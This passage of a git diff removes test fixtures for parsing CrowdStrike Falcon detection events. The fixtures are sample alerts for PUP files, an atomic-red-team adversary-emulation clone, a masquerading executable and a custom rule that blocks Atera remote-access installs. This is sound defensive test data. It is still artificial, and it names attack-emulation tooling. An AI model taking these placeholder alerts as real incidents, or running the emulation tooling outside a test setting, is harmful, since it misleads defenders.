"event": { - "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", - "category": [ - "malware" - ], - "created": "2023-06-15T16:06:52.400Z", - "kind": "alert", - "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 1,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1686845212400,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 123123,\n \"ParentProcessId\": 321321,\n \"ComputerName\": \"ELASTICHOST\",\n \"UserName\": \"ELASTICUSER\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"TESTFILE.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n \"MachineDomain\": \"INTERNAL\",\n \"NetworkAccesses\": [\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845157,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.1\",\n \"LocalPort\": 53517,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 443,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n },\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845158,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.2\",\n \"LocalPort\": 53518,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 80,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n \"SensorId\": \"sensorid123\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"DetectId\": \"detect::id::test\",\n \"LocalIP\": \"89.160.20.112\",\n \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"PUP\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false,\n \"HandleOperationDowngraded\": false,\n \"KillActionFailed\": false,\n \"BlockingUnsupportedOrDisabled\": false,\n \"SuspendProcess\": false,\n \"SuspendParent\": false\n },\n \"ParentImageFileName\": \"\",\n \"ParentCommandLine\": \"\",\n \"GrandparentImageFileName\": \"\",\n \"GrandparentCommandLine\": \"\",\n \"HostGroups\": \"hostgroupsID\",\n \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n \"PatternId\": 5728,\n \"MitreAttack\": [\n {\n \"Tactic\": \"Malware\",\n \"Technique\": \"PUP\",\n \"PatternID\": 5728\n }\n ]\n }\n}", - "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", - "severity": 21, - "type": [ - "info" - ] - }, - "file": { - "hash": { - "md5": "49f30e09200e7b59edc5ef32fbd0442c", - "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", - "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2" - }, - "name": "TESTFILE.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE" - }, - "host": { - "domain": "INTERNAL", - "name": "ELASTICHOST" - }, - "message": "This file is classified as Adware/PUP based on its SHA256 hash.", - "observer": { - "product": "Falcon", - "vendor": "Crowdstrike" - }, - "process": { - "args": [ - "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", - "-Embedding" - ], - "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", - "entity_id": "123123", - "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", - "name": "TESTFILE.exe", - "parent": { - "entity_id": "321321", - "pid": 321321 - }, - "pid": 123123, - "start": "2023-06-15T16:06:52.400Z" - }, - "related": { - "hash": [ - "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", - "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", - "49f30e09200e7b59edc5ef32fbd0442c" - ], - "hosts": [ - "ELASTICHOST" - ], - "ip": [ - "89.160.20.112" - ], - "user": [ - "ELASTICUSER" - ] - }, - "rule": { - "description": "This file is classified as Adware/PUP based on its SHA256 hash.", - "id": "detect::id::test", - "name": "NGAV" - }, - "source": { - "as": { - "number": 29518, - "organization": { - "name": "Bredband2 AB" - } - }, - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": "89.160.20.112" - }, - "tags": [ - "preserve_original_event" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "name": [ - "Malware" - ] - }, - "technique": { - "name": [ - "PUP" - ] - } - }, - "user": { - "name": "ELASTICUSER" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log deleted file mode 100644 index f73d00f9fc..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log +++ /dev/null @@ -1,16 +0,0 @@ -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}} -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":""}} -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"Hostname":"FRHOSTNAME","Name":"OnDemandScanfiletest","Severity":70,"FileName":"testfile.vmx","FilePath":"D:\\RECYCLER\\testpath\\testfile.vmx","SHA256String":"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections","AgentId":"1122025ec596478d830520000000000","CompositeId":"7da61e27e34f4b8394081896af72e2c7","LocalIP":"81.2.69.144","MACAddress":"88-44-66-77-11-22","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","HostGroups":"2a5927e82d644aa9,be74ccf2c2f444cf900","SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","Type":"ods","LocalIPv6":""}} -{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1719309930,"ProcessEndTime":0,"ProcessId":1719309930613520072,"ParentProcessId":1719308637781199091,"Hostname":"linux-vm","UserName":"azureuser","Name":"Known Malware","Description":"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.","Severity":70,"SeverityName":"High","FileName":"git","FilePath":"/usr/bin/git","CommandLine":"git clone https://github.com/redcanaryco/atomic-red-team.git","SHA256String":"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc","MD5String":"675853ca01ec441df7a015b91a7e1272","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"","FilesWritten":[{"Timestamp":1719309966,"FileName":"test_upx_header_changed","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"test_upx","FilePath":"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/"},{"Timestamp":1719309966,"FileName":"CreateProcessWithPipe.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1055.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/"},{"Timestamp":1719309966,"FileName":"msys-2.0.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/"},{"Timestamp":1719309966,"FileName":"calc.dll","FilePath":"/home/azureuser/atomic-red-team/atomics/T1047/bin/"},{"Timestamp":1719309966,"FileName":"T1055.011_x64.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/"},{"Timestamp":1719309966,"FileName":"EtwpCreateEtwThread.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/"},{"Timestamp":1719309966,"FileName":"CreateProcess.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/"},{"Timestamp":1719309966,"FileName":"T1036.003.exe","FilePath":"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/"}],"FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"172.17.0.1","MACAddress":"02-42-d8-66-fe-03","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been killed if related prevention policy setting was enabled.","PatternDispositionValue":272,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":true,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"bash","ParentCommandLine":"-bash","GrandParentImageFileName":"sshd","GrandParentCommandLine":"/usr/sbin/sshd -D -R","HostGroups":"44be50f58ccfcfcfcfcfcfcfcffc","PatternId":30115,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111","Type":"ldt","ParentImageFilePath":"/usr/bin/bash","GrandParentImageFilePath":"/usr/sbin/sshd","LocalIPv6":"2a02:cf40::"}} -{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532939,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584040000,"version":"1.0"},"event":{"ProcessStartTime":1742583971,"ProcessEndTime":1742583972,"ProcessId":43185188660,"ParentProcessId":43146803382,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"For evaluation only - benign, no action needed.","Severity":30,"SeverityName":"Low","FileName":"choice.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe","CommandLine":"choice /m crowdstrike_sample_detection","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424","LocalIP":"192.168.33.133","MACAddress":"00-0c-29-46-56-09","Tactic":"Malware","Technique":"Malicious File","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, standard detection.","PatternDispositionValue":0,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":false,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"cmd.exe","ParentCommandLine":"\"C:\\Windows\\system32\\cmd.exe\" ","GrandParentImageFileName":"explorer.exe","GrandParentCommandLine":"C:\\Windows\\Explorer.EXE","HostGroups":"88888888888888888888888888888888","PatternId":10197,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","LocalIPv6":""}} -{"metadata":{"customerIDString":"cccccccccccccccccccccccccccccccc","offset":1532956,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1742584202000,"version":"1.0"},"event":{"ProcessStartTime":1742584138,"ProcessEndTime":1742584138,"ProcessId":43186863960,"ParentProcessId":43046029968,"Hostname":"CISO-DUMMY-CSDEV","UserName":"Administrator","Name":"Suspicious Activity","Description":"A process triggered a high severity custom rule.","Severity":70,"SeverityName":"High","FileName":"atera.exe.exe","FilePath":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","CommandLine":"\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\" ","SHA256String":"0000000000000000000000000000000000000000000000000000000000000000","MD5String":"00000000000000000000000000000000","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"CISO-DUMMY-CSDEV","FalconHostLink":"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc","AgentId":"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee","IOCType":"hash_sha256","IOCValue":"0000000000000000000000000000000000000000000000000000000000000000","CompositeId":"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080","LocalIP":"192.168.33.133","MACAddress":"00-ff-12-46-56-09","Tactic":"Custom Intelligence","Technique":"Indicator of Attack","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false,"ContainmentFileSystem":false},"ParentImageFileName":"explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandParentImageFileName":"userinit.exe","GrandParentCommandLine":"C:\\Windows\\system32\\userinit.exe","IOARuleInstanceID":"167","IOARuleInstanceVersion":2,"IOARuleName":"Initial Access via Remote Service (Atera) Block","IOARuleGroupName":"Custom IOA Group - Windows","HostGroups":"88888888888888888888888888888888","AssociatedFile":"\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe","PatternId":41001,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","LocalIPv6":""}} -{"event":{"AgentId":"4ebcabee560d4345b025d6c732656ba9","AggregateId":"aggind:4ebcabee560d4345b025d6c732656ba9:1237323","CommandLine":"./whoami.rtf","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048","DataDomains":"Endpoint","Description":"Anexecutablewasrunwithacontradictingfileextension","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"whoami.rtf","FilePath":"/home/devuser/whoami.rtf","GrandParentCommandLine":"sshd:devuser@pts/0","GrandParentImageFileName":"sshd","GrandParentImageFilePath":"/usr/sbin/sshd","Hostname":"navnit-test-instance","LocalIP":"10.128.0.24","LocalIPv6":"","LogonDomain":"","MACAddress":"42-01-0a-80-00-18","MD5String":"3e4129c7bb0c01793aa9ecad38ccb4d0","Name":"SuspiciousActivity","Objective":"KeepAccess","ParentCommandLine":"-bash","ParentImageFileName":"bash","ParentImageFilePath":"/usr/bin/bash","ParentProcessId":1753351172854337800,"PatternDispositionDescription":"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":true,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":true,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":272,"PatternId":145,"PlatformId":"3","PlatformName":"Linux","ProcessEndTime":1753352263,"ProcessId":1753352263802791400,"ProcessStartTime":1753352263,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490","Severity":50,"SeverityName":"Medium","SourceProducts":"FalconInsight","SourceVendors":"CrowdStrike","Tactic":"DefenseEvasion","Technique":"Masquerading","Type":"ldt","UserName":"devuser"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1753352333000,"eventType":"EppDetectionSummaryEvent","offset":2092190,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd crowdstrike_test_informational","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760","DataDomains":"Endpoint","Description":"An informational level detection was triggered on this process for testing purposes.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"cmd.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","GrandParentCommandLine":"cmd crowdstrike_test_medium","GrandParentImageFileName":"cmd.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"d53f596e5ea7117ac18aae9f9bd8a481","Name":"Suspicious Activity","Objective":"Falcon Detection Method","ParentCommandLine":"cmd crowdstrike_test_low","ParentImageFileName":"cmd.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","ParentProcessId":43450917603,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10307,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":43455859437,"ProcessStartTime":1752575381,"SHA1String":"0000000000000000000000000000000000000000","SHA256String":"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Falcon Overwatch","Technique":"Malicious Activity","Type":"ldt","UserName":"win10_user3"},"metadata":{"customerIDString":"e880572ce33c42458b31e0dd368497fc","eventCreationTime":1752575448000,"eventType":"EppDetectionSummaryEvent","offset":2021281,"version":"1.0"}} -{"event":{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:42951223180","CommandLine":"cmd 